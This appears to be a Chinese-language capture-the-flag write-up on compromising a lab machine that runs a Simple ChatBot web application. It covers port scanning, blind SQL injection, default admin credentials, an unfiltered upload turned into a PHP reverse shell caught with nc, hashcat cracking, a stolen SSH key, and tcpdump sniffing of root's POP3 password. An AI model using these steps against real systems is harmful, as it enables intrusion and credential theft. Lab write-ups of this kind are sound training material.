难度适中但综合性很强的一个靶机
1.上来先三板斧:探测/端口/扫目录
1 | fping -a -g 10.10.10.0/24 -q > ip.txt |
1 | nmap -sVC -p1-65535 10.10.10.157 > port.txt |
1 | python3 dirsearch.py -u https://10.10.10.157 -e php |
2.查看页面,源码审计
web页面是一个聊天机器人服务,简单测下有个xss,但目测没法利用。
在exploit-db上搜索Simple ChatBot Application,有三个漏洞:
1. sql盲注,经过测试发现可以使用 (√)
2. RCE需要登入后台上传文件触发 (?)
3. xss直接忽略 (x)
按照漏洞说明抓下请求头,放到sqlmap里sqlmap -r msg.txt跑下,只跑出information_schema一个数据库,information_schema里也没啥东西,检查了几遍也不知道问题出在哪,这里就自己撸个脚本吧。
1 | #!/usr/bin/env python |
后来发现在exploit-db提供的源码网站里可以下到源码https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html,
源码里也有默认用户名密码TAT(高情商:盲注下确保密码正确,低情商:白忙活)
somd5跑下加密后的密码,获得simple chatbot后台登录用户名和密码admin admin123
登入发现可以利用之前exploit-db搜到的RCE,这里三个地方都有上传点,我选了SystemLogo(后面两个上传点总是遇到文件消失的问题),从代码逻辑看,没有任何过滤,只是在文件名前加了格式化的时间戳。
上传成功,可以执行些简单的php命令,但无法使用system,推测disable_function 禁用了,但exec没禁用
直接上传反弹shell 执行, kali nc -lvvp 8888监听
revshell.php
1 | <?php |
getshell
userflag在/home/ruby/userflag.txt中,但www-data没有权限读,在同目录下的notes文件中发现提示:
利用配置文件中的数据库用户名和密码登入数据库,在vmail.mailbox表中发现了相关内容,ruby正好是我们想越权的账户,且notes中似乎也暗示ruby存在弱密码。
利用hashcat爆破下弱口令,获得ruby的邮箱账号和密码ruby@messages.hmv Ruby.r123
登入https://10.10.10.157/mail/邮件应用发现ruby用户的ssh私钥
保存至id_rsa,登入靶机,获取user权限
1 | find / -perm -4000 2>/dev/null |
发现tcpdump有root权限,想起之前提示的靶机有check mail的功能,利用tcpdump嗅探root用户检查邮件功能的数据包
1 | tcpdump -i lo -G 30 -w data.cap |
在数据包中发现root用户在使用pop3协议登录时使用的密码,登入靶机,获取root权限